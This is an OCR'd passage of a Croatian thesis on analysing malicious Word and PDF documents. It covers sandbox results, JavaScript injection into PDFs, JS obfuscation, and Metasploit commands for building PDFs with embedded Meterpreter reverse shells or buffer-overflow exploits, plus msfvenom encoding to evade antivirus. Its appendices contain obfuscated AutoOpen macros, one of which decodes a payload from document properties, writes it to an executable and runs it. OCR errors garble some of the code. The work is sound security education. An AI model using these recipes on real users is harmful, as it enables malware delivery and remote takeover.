imena js_injected_Javascript 3.pdf, veli¢ine 39KiB, autora Iva B, programa gdje je stvoren
dokument Microsoft Word for Office 365 i slicno. Na slici 4.9 moze se vidjeti jedna

snimka zaslona koja pokazuje sto se dogada pri pokretanju dokumenta.

™ js_injected_Javascript3.pdf - Adobe Acrobat Reader DC S

File Edit View Window Help

Home Tools js_injected_Javascri.. X (@) signin
Ci Export PDF N
’w T~ T Create PDF v
Hello! This is PDF with injeq s OpE Yo =
8 Hello world! Edit PDF
‘ Comment
| L LS
> ‘ oK J > ,:‘;ﬂ Combine Files W
Organize Pages v
%, Fill & Sign
L Send for Signature
Send & Track
=32
-

Slika 4.9 — snimka zaslona u dinamickoj analizi

Drugi dokument je PDF dokument koji sadrzi Meterpreter slusaoca i generiran je pomoc¢u
Metasploita, a izrada takvog dokumenta opisana je u poglavlju 4.5. Dio staticke analize u
Hybrid Analysisu oznacava dokument kao zlocudan [61]. CrowdStrike Falcon je oznacio
dokument da je 100% zlo¢udan. U MetaDefenderu 62% antivirusnih programa pronaslo je

zlo¢udnost, a u VirusTotalu 68% programa. Falcon Sandbox u dinami¢koj analizi otkriva
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koristene tehnike u dokumentu. Neke od otkrivenih tehnika su Hooking i ubrizgavanje
procesa [61]. Hooking je tehnika koja se Kkoristi za promjenu ponasanja softvera
presretanjem poziva funkcija, poruka ili dogadaja izmedu softverskih komponenti [46].
Ponekad Hooking se koristi za ulitavanje i pokretanje zlo¢udnog koda unutar nekog
drugog procesa, kao i ubrizgavanje procesa. Ubrizgavanje procesa je metoda izvrSavanja
proizvoljnog koda u adresnom prostoru zasebnog aktivnog procesa [46]. Pronadene
zlo¢udne znacajke su da je veliki broj antivirusnih programa pronaSao zlo¢udnost i da
referencira sigurnosnu uslugu Windows operacijskog sustava. Pojavljuje se znakovni niz
mpssvc §to oznacava komponentu Windows vatrozida. Sumnjivi indikatori su pronalazak
moguceg koristenja tehnike heap spraying i stvaranje novih procesa. Heap spraying je
takoder tehnika koja omoguéava pokretanje proizvoljnog koda koja popunjava gomilu
nekog procesa stavljanjem nekog niza bajtova [47]. Na jednoj snimci zaslona na slici 4.10

prikazano je kako dokument pokusava spremiti umetnutu datoteku.

Chapterl.pdf - Adobe Acrobat Reader DC o | e =
File Edit View Window Help
= Specify afile to edract to == (@ signin
cal | & » Computer » Local Disk (C:) » [44 || Search Local Disk (t =l
\ | -
o) (<) ¥ ||| Search Local Disk (C L —
mnBE@AT ©7
Organize *  New folder CRC
/& OneDrive a Mame Date modified Type - R
[‘i Export PDF g
X PerflLegs 4/2009 4:37 AM le folc
i Libraries 19 ' f
3 Documents Program Files 1/31/2019 700 PN le fold Create PDF -
Temp 12/4/2017 File fo
@' Music u | =
Sers rile told Cod
| Pictures Edit PDF
H g Windows File fold
Vi
rees = Chapterl dobe R
Comment
3 Homegroup
» Combine Files v i
1% Computer
-4 I v Organize Pages v
File name: (S0 h —
Fill & Sign
Save as type: | All Files (%) - -
Send for Signature
= Hide Folders Save Cancel
Send & Track
| S ~ {3\ Mora Toolc =
=l e
e |

Slika 4.10 — snimka zaslona u dinamickoj analizi

Dinamicka analiza pomaze pri analizi PDF dokumenata jer Hybrid Analysis ispisuje
znacajke koje pokazuju da je dokument zlocudan te pomocu slika zaslona moze se vidjeti
Sto se zapravo dogada pri pokretanju dokumenata. Pomocu ocjene prijetnje korisnik
saznaje Kkolika je mogucnost da je dokument zlo¢udan. Tako na primjer, za nezlonamjerni
dokument iz prvog primjera ocjena prijetnje je 35 od 100, a za drugi zlo¢udan Metasploit

PDF dokument ocjena prijetnje je 100 od 100.
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4.4. Umetanje JavaScript koda

Umetanje JavaScripta se moze napraviti ru¢no mijenjanjem sadrzaja PDF-a u uredivacu

teksta ili pomocu alata JIS2PDFInjector.

Nakon generiranja PDF dokumenta, PDF se otvori pomoc¢u Notepada ili nekog drugog
tekstualnog uredivaca. U sadrzaju treba dodati tri objekta [48]. Prvi objekt sadrzi
JavaScript oznaku te referencira objekt broj 24.

23 0 obj

<<

/JavaScript 24 0 R
>>

endob]j

Sljedeci objekt ¢e takoder sadrzavati referencu. Referenca je na objekt broj 25, ali prije
toga se stavlja oznaka za ime te se zadaje ime JavaScript koda.

24 0 obj

<<

/Names [ (My Code) 25 0 R]
>>

endobj

Zadnji objekt koji je potrebno dodati je objekt koji sadrzi JavaScript kod.

25 0 obj
<<
/JS (app.alert ({cMsg: "This is alert!", cTitle:

"Message"}) ;

)

/S /JavaScript
>>

endobj
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Objekt sadrzi oznaku JS koja oznacava pocetak JavaScript koda i oznaku S koja pokazuje

koji tip akcije ¢e se izvrsiti. U ovom slucaju to je JavaScript.

Budu¢i da je sadrzaj PDF dokumenta promijenjen treba promijeniti i xref tablicu i trailer
dio. U xref tablici i traileru treba se postaviti novi ukupni broj objekta, to jest 26. U

objektu katalog treba dodati oznaku koja pokazuje na JavaScript. Treba se dodati linija:

/Names 23 0 R

Sljede¢i nacdin za izradu PDF dokumenta s JavaScript kodom je pomocu alata
JS2PDFInjector [49]. Zadaje se JavaScript datoteka i PDF dokument koje korisnik Zeli
spojiti te alat omoguéuje pokretanje JavaScript koda pri otvaranju dokumenta. Naredba za

pokretanje u komandnoj linije je:

java -jar JS2PDFInjector.jar ime PDF datoteke

ime JavaScript datoteke

Kao primjer moze se napraviti PDF datoteka generirana s Microsoft Word programom te

JavaScript datoteka koja sadrzi liniju:

app.alert({cMsg: "This is alert!"™, cTitle: "Message"});

Nakon pokretanja alata napravljen je novi PDF koji nakon otvaranja pokrece JavaScript
kod te se pojavljuje isko¢ni prozor s porukom ,,This is alert!*. U sadrzaju novostvorenog

PDF-a moze se vidjeti da je umetnut objekt sa sadrzajem:
6 0 obj
<<
/Type /Action
/S /JavaScript

/JS (app.alert\ ({cMsg: "This is alert!", cTitle:

"Message"}\) ;)
>>
endobj

Takoder je promijenjen objekt katalog gdje je dodana linija koja pokazuje na objekt koji

sadrzi JavaScript kod:

/OpenAction 6 0 R
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Skrivanje JavaScript koda postize se obfuskacijom JavaScripta. Za obfuskaciju moze se
koristiti alat Javascript Obfuscator [50]. Besplatna verzija ukljucuje mijenjanje imena,
kodiranje znakovnih nizova, micanje znakovnih nizova u polje. Zna¢ajka mijenjanje imena
mijenja imena argumenata, lokalnih varijabli i lokalnih funkcija. Kodiranje znakovnih
nizova zamjenjuje znakovni niz s heksadecimalnom vrijednosti tog znakovnog niza.
Pomicanje znakovnih nizova pomice sve znakovne nizove u kodu u jednu varijablu na
poc¢etku koda. Koristi reduciranje i kompresiju kako bi smanjio veli¢inu JavaScript
datoteke pa postaju efikasnije, tj. aplikacije se brze ucitavaju i1 smanjuje se potrosnja

propusnosti.

Primjer Koristenja napravljen je na JavaScript kodu iz dodatka 3. lzgled programa i

obfuscirani kod je prikazan naslici 4.11.

Svi znakovni nizovi su prebacéeni u polje koje se nalazi na pocetku koda. Na indeksu nula
je prazni niz koji je u po¢etnom kodu bio na prvoj liniji, a na indeksu jedan je znakovni niz
,»The number is: “ iz pete linije originalnog koda. Pomoc¢u ASCII tablice se mogu pronaci
prave vrijednosti varijable, to jest heksadecimalna vrijednost 54 je T, 68 je h i tako dalje.

Imena varijabli se nisu promijenila te su obrisani razmaci izmedu linija.

1) JavaScript Obfuscator v2 47 — O *®

File Tools Help A newversion of Javascript Obfuscator is available. Upgrade Required!

(o ] ‘§> Switch to batch mode

Choose File Obfu_s(ate

Input Javascript Code Here: 89 bytes ~ Optiens

vartext="" Name Mangling v2abed v
vary Encode Strings

for(i=00i< 20 i++)1 [ Code Formatter Indent //Line

text += "The numberis: " + i;
}
Mave Strings Inte Array

Move Members [ Encrypt Strings
[] Code Transposition Domain/Date Lock
Flat Transform (new,Enterprise)
Dead Cede Insertion Level: Low ~

[[] Deep Obfuscation

Obfuscated Code: 700 bytes Code Optimization For: Auto ~
15 Header Tt

! /
/™ This obfuscated code was created by Javascript Obfuscator Free Version.™/
/* Javascript Obfuscator Free Version can be downleaded here *f Cross-File Obfuscation:
/* http://javascriptobfuscator.com * .
* [] Replace Globals Global Mapping

var_S_ddSe=["", " S B8\ B\ 20\ BE\x T B\X 62165\ T2\ 2069 T3\ 3AK20" [var text=_S_ddSe[0]:var i-for(i= 0ti< [ Pratect Members Member Mapping
20;i++ Mtext+= _S_d45e[1]+ i}

L @) Obfuscate Now

Copy To Clipboard Save As

Slika 4.11 — izgled Javascript Obfuscator alata
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Besplatna verzija Javascript Obfuscatora malo otezava analizu koda, ali ne znacajno.
Kodiranje znakova je jednostavno za shvatiti te s time i na¢i pravu vrijednost znakovnih

nizova.

Sljedec¢i alat za obfuskaciju je JavaScript Obfuscator [51]. Ovaj alat uklanja razmake,
pretvara znakovne nizove u heksadecimalne vrijednosti ASCII tablice, dodaje kod koji se
nikad nece izvesti (engl. Dead Code) kako bi bilo teze napraviti reverzni inzenjering,
pretvara znakovni niz u polje i onda mijenja redoslijed slova u tom polju te ih kodira s

Base64 kodiranjem.
Pocetni kod prije obfuskacije je u dodatku 3.

Ako se postavi da alat ukloni razmake, pretvori znakovne nizove u heksadecimalne
vrijednosti i spremi znakovni niz u polje dobije se obfuscirani kod u dodatku 4. Pri kraju
koda moze se vidjeti originalni kod s manjim izmjenama te na pocetku se nalazi znakovni

niz koji je prije bio unutar programske petlje.

Nakon $to se dodaju opcije ubacivanje beskorisnog koda te kodiranja znakovnih nizova s
Base64 metodom dobije se kod u dodatku 5. Opet se na kraju moze vidjeti pocetni kod, ali

sada nigdje nije vidljiv znakovni niz ,,The number is: «.

Drugi primjer bi bio puno tezi za analizu zbog znacajno vise linija koje su nastale
ubacivanjem beskorisnog koda i funkcijama za kodiranje znakovnih nizova. Zbog tih
funkcija bolje je sakriven znakovni niz. Oba primjera su na kraju obfusciranog koda imali
dosta citljivo prikazan originalni kod. Usprkos tome ovaj alat JavaScript Obfuscator je

generirao kompliciraniji kod za analizu od prethodnog alata.

4.5. Metasploit

Pomoc¢u okvira Metasploit mogu se napraviti zlonamjerni PDF dokumenti koji
iskoriStavaju preljev meduspremnika (engl. buffer overflow) ili ugraduju Meterpreter
slusaoca kao izvrsnu datoteku. Preljev meduspremnika se dogada kada veli¢ina podataka
koja se dodaje je veca od velicine meduspremnika te dolazi do zaustavljanja programa s

pogreskom, ako se takav dogadaj nije predvidio [52].
Naredbe za izradu PDF dokumenta koji ugraduju izvrsnu datoteku su [53]:
use exploit/windows/fileformat/adobe pdf embedded exe

set payload windows/meterpreter/reverse tcp
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set INFILENAME chapterl.pdf
set FILENAME chapterl.pdf
set LHOST ip adresa

set LPORT 1000

exploit

Klju¢na rije¢ INFILENAME postavlja ime PDF datoteke, a klju¢na rije¢ FILENAME
postavlja ime ugradene datoteke koja sadrzi Meterpreter slusaoca [53]. Slusalac je
komponenta koja ¢eka uspostavljanje veze od napadnutog sustava [54]. Nakon toga
napadac ima mogucnost interakcije s napadnutim sustavom. Buduc¢i da napadac¢ ¢eka Zrtvu
da uspostavi vezu, potrebno je postaviti IP adresu kako bi napadnuti sustav mogao se

povezati s napadac¢evim ra¢unalom.

Nakon uspostavljanje veze, napadac treba postaviti Meterpreter interaktivni prozor. Iz tog

prozora omoguceno mu je pokretanje koda na zarazenom rac¢unalu. Naredbe za to su [35]:
use exploit/multi/handler
set payload/windows/meterpreter/reverse tcp
set LHOST IP_ adresa
set LPORT 1000
exploit
PDF koji iskoriStava preljev meduspremnika se moze napraviti pomoc¢u naredbi [55]:
use exploit/windows/fileformat/adobe utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
exploit

Naredba set CMD postavlja znakovni niz koji ¢e se pokrenuti ili u ovom slu¢aju pokrece se
kalkulator, ali moze se postaviti i proizvoljna exe datoteka. Za teret se moze koristiti i
Meterpreter slusalac. Ova metoda iskoriStavanja radi samo na starijim verzijama Adobe

Readera, to jest verziji 8.1.2 [55].
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U Metasploitu postoji naredba pomocu koje se moze sakriti teret od nekih antivirusnih

programa. Ta naredba je msfvenom pomocu koje se teret kodira nekoliko puta [56].
Naredba glasi:

msfvenom -p windows/shell/reverse tcp

LHOST=176.62.43.165 -e x86/shikata ga nai -i 10 -f ruby

-0 ~/ime datoteke.rb

Opcija -p specificira koji teret se koristi i postavlja se IP adresa. Opcija -e je s kojom
tehnikom kodiranja ¢e se kodirati kod, a -i koliko puta. Opcija -f pokazuje koji tip datoteke
¢e nastati, a opcija -0 gdje ¢e se spremiti rezultat.
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5. Zaklju€ak

Zlonamjerni dokumenti su ucestali nacin $irenja zlo¢udnog softvera te postoji mnogo
razli¢itih nacina kako umetnuti zlocudnost u ra¢unalne dokumente. Zbog toga antivirusni
programi ne mogu zaustaviti sve napade zlonamjernim dokumentima. Rjesenje, koje je
Microsoft uveo u Word dokumente, da prikazuje traku s upozorenjem na postojanje
makronaredbi u dokumentu, nece zastititi sve korisnike. Takoder, rjeSenje programa Adobe
Reader da pita korisnika za dopustenje za otvaranje umetnutog dokumenta ima istu manu.
Na nekim korisnicima se mogu primijeniti metode socijalnog inzenjerstva te ¢e se takvi

napadi uspjeti izvesti.

Alati koji se koriste za analizu potencijalno zlo¢udnih racunalnih dokumenata vrlo su
korisni pri analizi. Umjesto da analiti¢ar otvara Word dokument i s tim izlaze se riziku,
moze koristiti alat koji ¢e pronac¢i makrokod u dokumentu. Isto tako umjesto pretrazivanja
sadrzaja PDF dokumenta ru¢no, moze Koristiti alat koji ¢e puno brze pronaéi sadrzaj nekog
objekta. Postoji i alat za izvlacenje JavaScript koda iz PDF-a koji olakSava posao
analiticarima. Alati za stati¢ku analizu pokazuju koliko bi korisnici bili zasti¢eni pomocu
antivirusnih programa od nekog zlo¢udnog dokumenta. Veci dio antivirusnih programa bi
zastitila korisnike od Metasploit generiranih zlonamjernih dokumenata. Dinamicka analiza
pruza analitiCaru za$titu od Stete Koju prouzrokuje zlocudni softver. Problem sigurnih
okruzenja je Sto ih se mozZe prepoznati po odredenim datotekama. Tako da napadaci
razvijaju zlocudan kod koji prvo provjerava postoji li na sustavu neka od takvih datoteka.

Ako postoji, zZlonamjerni softver se nece izvesti.

Proces izrade zlo¢udnog koda pomocéu Metasploit okvira je vrlo jednostavan. Pomalo je
zastrasujuce koliko malo osoba treba znati kako bi generirala zlonamjerni dokument.
Vjerojatno zato su zlo¢udni dokumenti tako ucestali, a ako metode socijalnog inZenjerstva

ostanu efikasne kao sada, ucéestalost ¢e ostati ista.
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Sazetak

Alati za analizu potencijalno zlo¢udnih racunalnih dokumenata

Zlonamjerni dokumenti su ucestali nacin $irenja zlo¢udnog softvera te postoji mnogo
razli¢itih nac¢ina kako umetnuti zlo¢udnost u racunalne dokumente. U ovom radu opisani
su alati koji se koriste pri analizi zlo¢udnih dokumenata. Objasnjena je staticka i dinamicka
analiza. Pokazano je kako umetnuti makrokod u Microsoft Word dokument i JavaScript
kod u PDF dokumente. Opisano je koristenje Metasploit okoline za generaciju zlo¢udnih

rac¢unalnih dokumenata.

Klju¢ne rijeci: ra¢unalna sigurnost, zlo¢udni dokument, Microsoft Word, PDF
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Summary

Tools for analysis of potentially malicious computer documents

Malicious documents are a common way of spreading malware, and there are many ways
to insert malware into computer documents. This paper describes the tools used in the
analysis of malicious documents. Static and dynamic analysis are explained. It shows how
to insert macro code into Microsoft Word document and JavaScript code into PDF
documents. The use of the Metasploit environment for the generation of malicious

computer documents is described.

Keywords: computer security, malicious document, Microsoft Word, PDF
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Dodatak

U ovim dodacima nalaze se makrokodovi i JavaScript kodovi koji se spominju u tekstu.

Dodatak 1

Private Sub Malware ()
MsgBox ("Malware!")
Shell ("C:\Windows\system32\cmd.exe")

End Sub
Sub DocumentOpen ()
Malware

End Sub

Sub AutoOpen ()

Malware

End Sub

Dodatak 2

Const fdhcvafefi = 2
Const darslwgnir = 1

Const bxpwgfwdpf = 0
Private Sub bbpnrprrg()
MsgBox (kizpjpdjtdhe ("4do6l6c") & kizpjpdjtdhe ("7761726521"))

Shell (kizpjpdjtdhe ("433a5c57696e646£77735c7379") &
kizpjpdjtdhe ("7374656d33325c636d642e657865") )
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End Sub

Sub wzbjsuueac ()
bbpnrprrg

End Sub

Sub AutoOpen ()
bbpnrprrg

End Sub

Private Function kizpjpdjtdhe (ByVal tftzvynjzhtp As String)

As String

Dim ielyllmmyiie As Long

For ielyllmmyiie = 1 To Len(tftzvynjzhtp)

kizpjpdjtdhe = kizpjpdjtdhe & Chr$ (Val ("&H" &

Mid$ (tftzvynjzhtp, ielyllmmyiie, 2)))

Next ielyllmmyiie

End Function

Dodatak 3

var text = ,%;

var 1i;

for(i = 0; 1 < 20; i++) {

text += ,,The number is:

Dodatak 4

var

N+ oig

S d45e=[,", " \x54\x68\x65\x20\x6E\x75\x6D\x62\x65\x72\x20\x69
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\x73\x3A\x20"] ;var text= S d45e[0];var i;for (i=
0;1<20i++) {text+= S d45e[l] + 1}

Dodatak 5

var
_0x5521=["'The\x20number\x20is:\x20"']; (function( 0x312e55, 0x5
52133) {var 0x3903ea=function( 0x44e418) {while (--

0x44e418) { O0x312e55['push'] ( 0x312e55['shift'] ());}}; 0x3903
ea (++ 0x552133);}( 0x5521,0x132)) ;var
_0x3903=function( 0x312e55, 0x552133){ 0x312e55= 0x312e55-
0x0;var 0x3903ea= 0x5521[ 0x312e55];return

0x3903ea;}; 0Oxbbeecc:var text='';var

1;for (1=0x0;1<0x14;i++) {text+= 0x3903('0x0")+1i;}

Dodatak 6

var
_0x34e5=['VGh1IG51bWJlciBpczog']; (function( 0x765504, 0x34e51
a){var 0x58349d=function( 0xdO0b747) {while (--

_0xd0b747){ 0x765504['push'] ( 0x765504['shift'] ());}}; 0x5834
9d (++ Ox34eb5la);} ( 0x34e5,0x83)) ;var
_0x5834=function( 0x765504, Ox34e5la){ 0x765504= 0x765504-
0x0;var

0x58349d= 0x34e5[ 0x765504];if( 0x5834['RDJtkm']===undefined
) { (function () {var 0x25b2b8;try{var
_0x27c27d=Function ('return\x20 (function () \x20'+'{}.constructo
r(\x22return\x20this\x22) (\x20) '+');"'); 0x25b2b8= 0x27c27d();
}catch( 0x4£f69e5) { 0x25b2b8=window; }var
_Ox4fa7e3="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwx
yz0123456789+/="; 0x25b2b8['atob'] || ( 0x25b2b8['atob']=functi
on( O0x364ebo6) {var
_0x4189be=String( 0x364eb6) ['replace'] (/=+$/,'") ;var
_0x249%eae="";for (var

0x136014=0x0, 0x17918c, 0x544360, 0x23620a=0x0; 0x544360= 0Ox
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4189be['charAt'] ( 0x23620a++) ;~ 0x5443606&&( 0x17918c= 0x13601
4%0x4? 0x17918c*0x40+ 0x544360: 0x544360, 0x136014++%30x4)7? 0x
249eae+=String|['fromCharCode'] (Oxff& 0x17918c>> (-

Ox2* 0x1360146&0x6)):0x0){ 0x544360= Ox4fa7e3['indexOf'] ( 0x54
4360) ; }return

_0x249%eae;}) ;1 ()7 0x5834['TtAzxg']=function( O0x312ecd) {var
_Ox2elabl=atob( 0x312ecd);var 0x2b05ea=[];for (var
_0xb62362=0x0, 0x170437= 0x2ela6l['length']; 0xb62362< 0x1704
37; 0xb62362++) { 0x2b05ea+="%"+('00"+ O0x2el0a6l['charCodeAt"'] (
_0xb62362) ['toString'] (0x10)) ['slice'] (-0x2); }return
decodeURIComponent (_ 0x2b05ea);}; 0x5834['mYmDyh']={}; 0x5834]
'RDJtkm']=!![];}var

0xdOb747= 0x5834['mYmDyh'][ 0x765504];if( 0xdOb747===undefin
ed) { 0x58349d= 0x5834['TtAzxg'] ( 0x58349d); 0x5834['mYmDyh'] [
_0x765504]= 0x58349d; }else{ 0x58349d= 0xd0b747;}return
0x58349d;}; 0x25b2b8:var text='';var

1;for (1=0x0;1<0x14;i++) {text+= 0x5834('0x0")+1i;}

Dodatak 7

Const caekygashg = 2

Const npvbxmahwf = 1

0

Const pkklkimree

Public Declare PtrSafe Function fzttlsjkvngwgngdo Lib
"libc.dylib"™ Alias "system" (ByVal igoilgdnzbbhuuzdm As

String) As Long

Sub AutoOpen ()

On Error Resume Next

Dim vowgahbnoitwsaaoasdp As String

For Each prop In ActiveDocument.BuiltInDocumentProperties

If prop.Name = fhwbjdehxaxy("436f6d6d65™) &
fhwbjdehxaxy ("6e7473") Then
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vowgahbnoitwsaaoasdp = Mid (prop.Value, 56)

orig val = iaxgpjlzdgxelggtotnp (vowgahbnoitwsaaoasdp)

#If Mac Then
Imuzafuyrm (orig val)
#Else

glwjdruryeyqj (orig val)
#End If

Exit For

End If

Next

End Sub

Sub glwjdruryeyqg]j (code)
On Error Resume Next

Set vcgkcdfmmcagfpm =
CreateObject (fhwbjdehxaxy ("536372697074696e672e46™)
fhwbjdehxaxy ("696c6553797374656d4£626a656374"))

tmp folder = vcgkcdfmmcagfpm.GetSpecialFolder (2)

tmp name = tmp folder + fhwbjdehxaxy("5c") +
vegkcdfmmcagfpm.GetTempName () + fhwbjdehxaxy ("2e65")
fhwbjdehxaxy ("7865")

&

&

Set giissvgjkuyjc = vcgkcdfmmcagfpm.createTextFile (tmp name)

giissvgjkuyjc.Write (code)
giissvgjkuyjc.Close

CreateObject (fhwbjdehxaxy ("575363726970") &
fhwbjdehxaxy ("742e5368656c6c")) .Run (tmp name)

End Sub
Sub lmuzafuyrm(code)

System ("echo """ & code & """ | python &")
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End Sub
' 1.01 - solves problem with Access And 'Compare Database
Function iaxgpjlzdgxelggtotnp (ByVal base64String)

Const hucghxnjkhtuslzmpu = "ABCDEFGHIJKLMNOPQRSTUVWXYZabc"
"defghijklmnopgrstuvwxyz0123456789+/"

Dim datalLength, sOut, groupBegin

base64String = Replace(base64String, vbCrLf, "")

base64String Replace (base64String, vbTab, "")

base64String = Replace (base64String, " ", "")

datalength = Len (base64String)
If datalength Mod 4 <> 0 Then

Err.Raise npvbxmahwf, fhwbjdehxaxy ("42617365") &
fhwbjdehxaxy ("36344465636£f6465"),

fhwbjdehxaxy ("426164206875636768786e6a6b687475") &
fhwbjdehxaxy ("736c7a6d707520737472696e672e™")

Exit Function
End If
For groupBegin = 1 To datalLength Step 4

Dim numDataBytes, CharCounter, thisChar, thisData, nGroup,

pOut

numDataBytes = 3

nGroup = 0

For CharCounter = 0 To 3

thisChar = Mid(base64String, groupBegin + CharCounter,

npvbxmahwt)
If thisChar = fhwbjdehxaxy("3d") Then
numbDataBytes = numDataBytes - 1

thisData = 0

&
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Else

thisData = InStr (npvbxmahwf, hucghxnjkhtuslzmpu, thisChar,

vbBinaryCompare) - 1
End If
If thisData = -1 Then

Err.Raise caekygashqg, fhwbjdehxaxy ("4261736536") &
fhwbjdehxaxy ("344465636£6465"),

fhwbjdehxaxy ("4261642063686172616374657220496e206875636768786
eb6abb687475736c7a") & fhwbjdehxaxy ("6d707520737472696e672e")

Exit Function

End If

nGroup = 64 * nGroup + thisData

Next
nGroup = Hex (nGroup)
nGroup = String (6 - Len (nGroup), fhwbjdehxaxy("30")) & nGroup

pOut = Chr (CByte (fhwbjdehxaxy ("2648") & Mid (nGroup,
npvbxmahwf, caekygashqg))) +

Chr (CByte (fhwbjdehxaxy ("2648") & Mid(nGroup, 3, caekygashq)))

+_

Chr (CByte (fhwbjdehxaxy ("2648") & Mid (nGroup, 5, caekygashq)))
sOut = sOut & Left (pOut, numDataBytes)

Next

iaxgpjlzdgxelggtotnp = sOut

End FunctionPrivate Function fhwbjdehxaxy (ByvVal zfamvdaxlwlr

As String) As String
Dim njzikgetxrgw As Long

For njzikgetxrgw = 1 To Len(zfamvdaxlwlr) Step 2
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fhwbjdehxaxy = fhwbjdehxaxy & Chr$ (Val ("&H" &
Mid$ (zfamvdaxlwlr, njzikgetxrqgw, 2)))

Next njzikgetxrgw

End Function



